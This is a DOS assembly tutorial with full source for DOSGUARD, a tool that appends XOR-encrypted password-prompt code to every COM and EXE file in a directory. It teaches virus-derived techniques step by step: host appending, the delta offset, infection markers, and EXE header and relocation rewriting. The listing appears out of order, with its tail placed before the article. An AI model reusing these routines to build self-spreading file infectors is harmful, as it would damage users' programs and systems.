mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
;Encrypt the code before we write it out
mov si, offset ENCRYPTED2 ;si and di set to address to start
mov di, si ;encrypting
in al, 40h ;grab random key from the system clock
mov [exekey], al ;the encryption key
mov dl, al
mov cx, ENDENC - ENCRYPTED2 ;Size of code to encrypt
call EXECRYPT ;The encryption function
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
xor cx, cx ;Move file pointer to beginning of file
xor dx, dx
mov ax, 4200h
int 21h
;adjust the EXE header and then write it back out
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;initial sp
mov dx, word ptr cs:[9Ch] ;calculate new size file size
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
mov cx, 1Ch ;Write out the new header
mov dx, offset exehead
mov ah, 40h
int 21h
;modify relocatables table
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
ret ;Done!
;-------------------------------------------------------------------------
;Procedure to calculate the amount that needs to be written
;-------------------------------------------------------------------------
CALC_SIZE:
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
ret
;-------------------------------------------------------------------------
;Procedure to read the EXE Header
;-------------------------------------------------------------------------
READ_HEADER:
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
ret ;return with cf set properly
;-------------------------------------------------------------------------
;Procedure to read a page
;-------------------------------------------------------------------------
READ_PAGE:
push ax
push cx
mov ah, 3Fh
mov cx, 512
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to read a paragraph
;-------------------------------------------------------------------------
READ_PARA:
push ax
push cx
mov ah, 3Fh
mov cx, 16
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a page
;-------------------------------------------------------------------------
WRITE_PAGE:
push ax
push cx
push dx
mov ah, 40h
mov cx, 512
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a paragraph
;-------------------------------------------------------------------------
WRITE_PARA:
push ax
push cx
push dx
mov ah, 40h
mov cx, 16
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a page
;-------------------------------------------------------------------------
DECFP_PAGE:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -512
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a para
;-------------------------------------------------------------------------
DEC_PARA:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -16
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move the paragraph buffer to the front
;-------------------------------------------------------------------------
MOVE_PARA:
push cx
mov si, offset para
mov di, offset buffer
mov cx, 16
rep movsb
pop cx
ret
;-------------------------------------------------------------------------
;Code to add to COM files
;-------------------------------------------------------------------------
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START ;Calculate delta offset
lea si, [bp + ENCRYPTED] ;Set si and di to address of the
mov di, si ;the encrypted code.
mov dl, [bp + offset comkey];Get the encryption key
mov cx, COMCRYPT - ENCRYPTED;Calculate size of code to decrypt
call COMCRYPT ;Decrypt
ENCRYPTED:
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
;-------------------------------------------------------------------------
;Code to en(de)crypt com files
;-------------------------------------------------------------------------
COMCRYPT: ;Simple xor encryption algorithim
lodsb
xor al, dl
stosb
loop COMCRYPT
ret
comkey DB 1Fh
ENDGUARD:
;-------------------------------------------------------------------------
;Code to add to EXE files
;-------------------------------------------------------------------------
EXEGUARD:
push ax ;Save startup value in ax
mov bp, ENDGUARD2 - EXEGUARD;Calc offset of ENDGUARD2
push ds ;Save value of ds
mov ax, cs ;Put cs into ds and es
mov ds, ax
mov es, ax
jmp DECRYPT
;-----------------------------
;Code to en(de)crypt exe files
;-----------------------------
EXECRYPT: ;simple xor encryption algorithim
lodsb
xor al, dl
stosb
loop EXECRYPT
ret
;-----------------------------
DECRYPT:
mov di, bp ;Calculate the address of ENCRYPTED2
sub di, ENDGUARD2 - ENCRYPTED2
lea si, [di] ;Set si and di to address of the
mov di, si ;encrypted code.
mov dl, [bp-2] ;Read encryption key
mov cx, ENDENC - ENCRYPTED2 ;Calculate amount to decrypt
call EXECRYPT ;Decrypt
ENCRYPTED2:
mov ax, [bp-4]
mov ah, 9h ;DOS print string
lea dx, [bp-57] ;Print the password prompt
int 21h
lea di, [bp-20]
xor cx, cx
EREADLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je ECHECKPASS
cmp al, 13 ;Quit loop when CR read
jne EREADLOOP
ECHECKPASS:
lea di, [bp-20] ;Setup for passwd checking loop
lea si, [bp-28] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
ECHECKLOOP:
cmpsb ;Compare passwd with guess
jne EFAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne ECHECKLOOP ;Loop until you've read first 8
ESUCCESS:
pop ds ;Restore registers and pass control
mov ax, ds ;to the main program.
mov es, ax
pop ax
cli
mov ss, word ptr cs:[bp-10]
mov sp, word ptr cs:[bp-8]
sti
xor cx, cx
xor dx, dx
xor bp, bp
xor si, si
xor di, di
lahf
xor ah, ah
sahf
jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6]
EFAIL:
mov ah, 9h ;DOS print string
lea dx, [bp-46] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
eprompt DB 'password: ','$'
ebadpass DB 'Invalid password!','$'
epasswd DB 'smcrocks'
ENDENC:
eguess DB 10 dup (0)
hosts DW 0, 0
hostc DW 0, 0
exekey DB 0
blank DB 0
ENDGUARD2:
filter1 DB '*.com',0
filter2 DB '*.exe',0
bytes DB 0,0,0,'CG'
exehead DB 28 dup (0)
buffer DB 512 dup (0)
para DB 16 dup (0)
lps DW 0
END START
A tutorial on DOS file modification based on what I learned from writing Dosguard.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::.................................EXTENDING DOS EXECUTABLES
by Digital Alchemist
The reason behind this essay is to show how techniques first developed by virus
writers can be used for benevolent purposes. It is my opinion that all
knowledge is good and viral techniques are certainly no exception. I will lead
you through the development of a program called DOSGUARD which benignly
modifies DOS executables, both COM and EXE.
DESCRIPTION OF DOSGUARD
-----------------------
DOSGUARD is a DOS COM program which I developed in order to restrict access to
certain programs on my computer. DOSGUARD modifies all of the COM and EXE
files in the current directory, adding code to each one that requires the user
to correctly enter a password before running the original program.
DOSGUARD, while sufficient for this article, could use a little work in the
realm of user friendliness. More user feedback and a better way to specify
which files to be modified are needed. In addition, I have written a version
of DOSGUARD that uses simple xor encryption to improve security.
DOSGUARD was written using turbo assembler.
STRUCTURE OF COM FILES
----------------------
Unlike the EXE file format, the programmer has no input into the segment format
of COM files. All COM files consist of 1 segment only, with no predefined
distinction between data and code. After DOS finishes some preparatory work,
the COM file is loaded at offset 100h. The first 256 bytes are known as the
Program Segment Prefix(PSP). Located at offset 80h is an important data
structure called the DTA or Data Transfer Area. The DTA is important, but most
of the rest of the PSP can be ignored by the programmer. Before actually
starting execution of the COM program, DOS sets up the stack at the top of the
segment(the highest memory address).
OUTLINE OF COM MODIFICATION
---------------------------
1. Open the file and read 1st 5 bytes.
2. Make sure the file is not really an EXE file because after DOS 6.0 some
files ending in ".com" were really EXEs.
3. Check to see if the file has already been modified by DOSGUARD by checking
if the values of the 4th and 5th bytes match the DOSGUARD identification
string of "CG".
4. Make sure the file is not so large that when DOSGUARD adds its code it
doesn't exceed the 64k segment size.
5. If the file passes 2-4 then its ok to modify, so DOSGUARD opens it and
writes the code to the end of the file.
6. Calculate the size of the jump to the code we added and write the jump
instruction along with the identification string to the beginning of the
file.
I'll go over each of these steps in a little more detail with code snippets
where necessary. The complete source code for DOSGUARD can be found at the
end of the article and at my web page. Hopefully, the comments will be enough
to explain any areas I don't discuss in detail.
Essentially, the way DOSGUARD modifies COM files is by inserting a jump at the
beginning of the file which goes straight to the password authentication code,
located at the end of the file. If the correct password is entered by the
user, then it will restore the 5 bytes that were overwritten by the jump and
the identification string and execute the program just like DOSGUARD was never
there.
COM MODIFICATION - STEP 1
-------------------------
Once we've found a COM file, the first thing to do is open it. Then, after
running some tests on the file, we can determine if it is suitable for
modification. But first, we need to read the first 5 bytes because we'll
need them later.
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
COM MODIFICATION - STEP 2
-------------------------
After DOS 6.0, some files with the COM extension are actually EXEs.
COMMAND.COM, for instance, is one of these. If we try to modify an EXE file as
if it were a COM file, then we're going to really screw things up. To prevent
this, we make sure that the string "MZ" doesn't appear in the first two bytes of
the file. "MZ" is the string which tells DOS that a file is an EXE.
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM MODIFICATION - STEP 3
-------------------------
If the file had been previously altered by DOSGUARD, then the 4th and 5th bytes
will contain the identification string "CG". We need to make sure we skip files
that have this identification string.
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
COM MODIFICATION - STEP 4
-------------------------
Another thing to watch out for is the file's size. If the file will exceed
one segment in size when we add our code, then the file is too big to modify.
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file from DTA
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
COM MODIFICATION - STEP 5
-------------------------
If the file is a suitable candidate for modification, then we simply write our
code to the end of the file. Also, we have to save the original first 5 bytes
from the file somewhere in your code. In DOSGUARD's case, the 5 bytes are
already saved in the proper place because "obytes" is located within the code
which we are about to write.
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
COM MODIFICATION - STEP 6
-------------------------
The final step is to calculate the size of the jump to our code and write the
opcode for the jump and the identification string over the first 5 bytes of the
file.
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
RESPONSIBILITIES OF INSERTED CODE
--------------------------------
There are two problems which the inserted code has to deal with. First, since
the code could be located at any arbitrary offset within the segment, it cannot
depend on the compiled absolute addresses of its data labels. To solve this
problem we use a technique virus writers call the delta offset. The delta
offset is the difference between the actual and compiled addresses of data.
Anytime our code accesses data in memory it adds the delta offset to the data's
compiled address. The following piece of code finds the delta offset.
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
The "call" pushes the current ip onto the stack, which is the actual address of
the label "GET_START." Subtract the compiled address from the actual one and
there's our delta offset.
The second problem is to make sure the first 5 bytes of the host are restored to
their original values before we return from our jump and execute the host.
STRUCTURE OF EXE FILES
----------------------
The EXE file format is much more complicated than the COM format. The big
difference is that EXE files allow the program to specify how it wants its
segments to be laid out in memory, allowing programs to exceed one 64k segment
in size. Most EXEs will have separate code, data, and stack segments.
All of this information is stored in the EXE Header. Here's a brief rundown of
what the header looks like:
Offset Size Field
0 2 Signature. Will always be 'MZ'
2 2 Last Page Size. Number of bytes on the last
page of memory.
4 2 Page Count. Number of 512 byte pages in the file.
6 2 Relocation Table Entries. Number of items in the
relocation pointer table.
8 2 Header Size. Size of header in paragraphs,
including the relocation pointer table.
10 2 Minalloc
12 2 Maxalloc
14 2 Initial Stack Segment.
16 2 Initial Stack Pointer.
18 2 Checksum. (Usually ignored)
20 2 Initial Instruction Pointer
22 2 Initial Code Segment
24 2 Relocation Table Offset. Offset to the start of
the relocation pointer table.
26 2 Overlay Number. Primary executables(the ones we
wish to modify) always have this set to zero.
Following the EXE header is the relocation pointer table, with a variable
amount of blank space between the header and the start of the table. The
relocation table is a table of offsets. These offsets are combined with
starting segment values calculated by DOS to point to a word in memory where
the final segment address is written. Essentially, the relocation pointer
table is DOS's way to handle the dynamic placement of segments into physical
memory. This isn't a problem with COM files because there is only one segment
and the program isn't aware of anything else. Following the relocation pointer
table is another variable amount of reserved space and finally the program
body.
To successfully add code to an EXE file requires careful manipulation of the EXE
header and relocation pointer table.
OUTLINE OF EXE MODIFICATION
---------------------------
1. Open the file and read the 1st 2 bytes(DOSGUARD actually reads 5).
2. Check for EXE signature "MZ".
3. Read the EXE header.
4. Check the file for previous infection.
5. Make sure that the Overlay Number is 0.
6. Make sure the file is a DOS EXE.
7. If the file passes 2-6 then it is ok to modify. The first step is to check
the relocation pointer table to see if there is room to add 2 pointers. If
there is room, then jump to step 9.
8. If there isn't enough room in the relocation pointer table, then DOSGUARD
has to make room. It reads in the entire file after the relocation pointer
table and writes it back out one paragraph higher in memory.
9. Save the original ss, sp, cs, and ip.
10. Adjust the file length to paragraph boundary.
11. Write code to the end of the file.
12. Adjust the EXE header to reflect the new starting segments and file size.
13. Write out the header.
14. Modify the relocation pointer table.
The easiest way to think about EXE modification is to imagine that we are
adding a complete COM program to the end of the file. Our code will occupy its
own segment located just after the host. This one segment will serve as a code,
data, and stack segment just like in a COM program. Instead of inserting a jump
to take us there, we will simply adjust the starting segment values in the EXE
header to point to our segment.
EXE MODIFICATION - STEP 1
-------------------------
The same as with COM files, except that the only bytes we actually need are the
first two. With EXE files we will use different methods for determining
previous modification(I try to avoid using the viral term "infection") and for
transferring execution to our code.
EXE MODIFICATION - STEP 2
-------------------------
Check the first two bytes for the EXE signature "MZ". If the file doesn't
start with "MZ," then it isn't a DOS EXE.
cmp word ptr[obytes], 'ZM'
je EXE
EXE MODIFICATION - STEP 3
-------------------------
Now, DOSGUARD simply reads the EXE header into a 28 byte buffer. Later, we
will make the necessary changes to the header and write it back out.
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
EXE MODIFICATION - STEP 4
-------------------------
We don't use a signature string to mark EXE files. Instead, we compare the
code entry point with the size of the file. If the file has been previously
modified by DOSGUARD, then we know that the distance of the code entry point
from the end of the file will be the length of the code that DOSGUARD adds. To
put things in mathematical terms:
(initial cs * 16) + (size of code DOSGUARD adds) + (size of header)
will equal the size of the file. The initial cs times 16 is the code entry
point, of course. You have to add the header size because it isn't loaded into
memory along with the rest of the code and data.
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of code) + (size of header) == filesize
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXE MODIFICATION - STEP 5
-------------------------
Another simple test that needs to be done is to make sure that the Overlay
Number stored in the EXE header is 0. The code for this is simple.
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
EXE MODIFICATION - STEP 6
-------------------------
This part is kind of tricky. There are lots of files out there with the EXE
extension that aren't DOS executables. Both Windows and OS/2 use this
extension as well, for instance. To complicate matters, there isn't an easy
way to automatically distinguish DOS EXEs from the others. The technique that
I use in DOSGUARD is to check the offset of the relocation pointer table and
make sure that it is less than 40h. This should always detect Windows and OS/2
programs, but it sometimes raises false alarms on valid DOS files.
;Make sure it is a DOS EXE (as opposed to windows or OS/2)
cmp word ptr [exehead+24], 40h
jae NO_INFECT
EXE MODIFICATION - STEP 7
-------------------------
Now that we know we have a file that we can modify we just have to determine if
its going to be easy to modify or a real pain. Here's the deal. The
relocation pointer table is always an even multiple of 16 bytes in size. Each
pointer in the table is 4 bytes. For our purposes, we need to add 2 pointers to
the table. That means the table must have at least 8 bytes free in order to
leave it at its current size. If it doesn't have room for two more pointers,
then we will have to make room. That means reading in the whole file after the
table and writing it back out with 16 bytes more space for the table.
To find out if there is enough room, all you have to do is subtract the offset
of the relocation pointer table and the number of entries in the table from the
size of the header. The result is the amount of free space in the table. All
of this information can be found in the handy dandy EXE header. Of course, you
have to take into account the units that each of these values are stored in
(bytes, paragraphs, etc.)
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
EXE MODIFICATION - STEP 8
-------------------------
The first thing to do is move the file pointer to the correct spot just after
the last entry in the relocation pointer table.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
Now, DOSGUARD calculates the amount which needs to be written. This code is in
the function called CALC_SIZE. When CALC_SIZE is finished, cx will hold the
number of pages and "lps" will hold the size of the last page since it probably
will not be a full 512 byte page.
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
Once you know the amount of code you have to move, you have to come up with a
way to simultaneously read and write from the same file without overwriting
data that hasn't been read yet. DOSGUARD's solution is to use a 16 byte
buffer. DOSGUARD's move loop reads 528 bytes and writes out 512 bytes with each
iteration. In other words, it reads 16 bytes ahead of where it is writing so
that it doesn't overwrite bytes before they're read. DOSGUARD has a number of
functions for reading and writing pages, reading and writing paragraphs, and
moving the file pointer around. It also has one function for moving the 16
bytes at the end of the 528 byte buffer in memory to the front. Well, I'll shut
up now and show you the code for the move loop.
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
When DOSGUARD gets to the last page, it finishes things off by reading the last
fraction of a page and then writing out those bytes plus the 16 bytes that were
left buffered from the last iteration of the move loop.
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
Last, but not least, there is a little maintanence to do.
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
Oh yeah, there is one more condition that needs to be handled here. If the last
page was almost full(496 or more bytes), then adding 16 bytes to the file size
will overflow that page so you have to add a whole new page.
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
EXE MODIFICATION - STEP 9
-------------------------
Whew! Step 8 was a doozy, but now we're almost done. All Step 9 requires of
us is to save the original segment values from our victim. DOSGUARD saves
these values in the order that they are found within the EXE header.
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
EXE MODIFICATION - STEP 10
--------------------------
It will make things a little easier later on if the end of the file we are
about to modify lies on a paragraph boundary. This way the starting ip for the
new code that we're adding will always be zero.
;adjust file length to paragraph boundary
mov cx, word ptr cs:[9Ch]
mov dx, word ptr cs:[9Ah]
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
EXE MODIFICATION - STEP 11
--------------------------
Finally, we can write our code to the file. Just like with the COM file, we
will write our code to the end of the file. The difference is in how we get
there when its time to execute it. With COM files we used a jump. With EXE
files we adjust the starting cs:ip to point to our code.
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
EXE MODIFICATION - STEP 12
--------------------------
With our code neatly tucked after the host program's code, its time to modify
the EXE header so that our code is the first to execute. We also have to
adjust the size fields in the EXE header to take into account all the code we
just added.
The first thing to is figure out what the starting segment values need to be.
The starting cs will simply be the original file size divided by 16 minus the
header size. The initial ip will be 0 because of Step 11. In DOSGUARD's case
the ss will be the same as the cs and the sp will point to an address 256 bytes
after the end of our code. 256 bytes is plenty of room for DOSGUARD's stack.
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], ENDGUARD2 - EXEGUARD + 100h ;initial sp
This next bit of code calculates the new file size, in pages of course.
;calculate new file size
mov dx, word ptr cs:[9Ch]
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
EXE MODIFICATION - STEP 13
--------------------------
Now, we should be through with the header so we can write it back out to the
file.
;Write out the new header
mov cx, 1Ch
mov dx, offset exehead
mov ah, 40h
int 21h
EXE MODIFICATION - STEP 14
--------------------------
Last, but not least, we have to modify the relocation pointer table. First,
we need to move the file pointer to where we need to add the new entries.
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
Now, we have to add two pointers to the table. The first points to "hosts,"
which is the stack segment of the original program. The second points to
"hostc+2," which holds the original program's code segment.
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
RESPONSIBILITIES OF INSERTED CODE
---------------------------------
There are several items which the code module we added must take into
consideration. First of all, when it is finished, the state of registers, etc.
must be exactly what the original program would expect them to be. For
instance, ax is set by DOS to indicate whether or not the Drive ID stored in
the FCBs is valid. So, the value of ax must be preserved by our code. Also,
the original program may expect other registers to be set to initial values
of zero. And of course, the segment registers need to be restored after our
code's execution.
In order to actually restore control to the host, our code must restore ss and
sp to their original values. Then, it jumps to the original cs:ip.
Also, inserted code can't be dependent on absolute addresses for its data.
Therefore, DOSGUARD accesses all data by its offset from the end of the file.
CONCLUSION
----------
Hopefully, i've explained the techniques I used in developing DOSGUARD well
enough for you to develop your own binary modiying programs. As I mentioned at
the beginning of this article, DOSGUARD has a lot a room for improvement. If
you are interested then you should check out my web page and download the
source for ENCGUARD, a more secure version of DOSGUARD. A nice way to extend
DOSGUARD would be to improve on the encryption techniques used in ENCGUARD. If
I ever find the time I would like to write a Win32 version of DOSGUARD which
could safely modify the PE file format. If I ever do embark on such a task,
I'll be sure to let the readers of Assembly Programming Journal know about it.
REFERENCES
----------
"The Giant Black Book of Computer Viruses, 2nd edition" by Mark Ludwig
CONTACT INFORMATION
-------------------
email: jjsimpso@eos.ncsu.edu
web page: http://www4.ncsu.edu/~jjsimpso/index.html
Check out my web page for more information on my research into code
modification. Also, feel free to email me with ideas, corrections,
improvements, etc.
---------------------------BEGIN DOSGUARD.ASM----------------------------------
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov dx, offset filter1
call FIND_FILES
mov dx, offset filter2
call FIND_FILES
mov ax, 4C00h ;DOS terminate
int 21h
;-------------------------------------------------------------------------
;Procedure to find and then infect files
;-------------------------------------------------------------------------
FIND_FILES:
mov ah, 4Eh ;Search for files matching filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM:
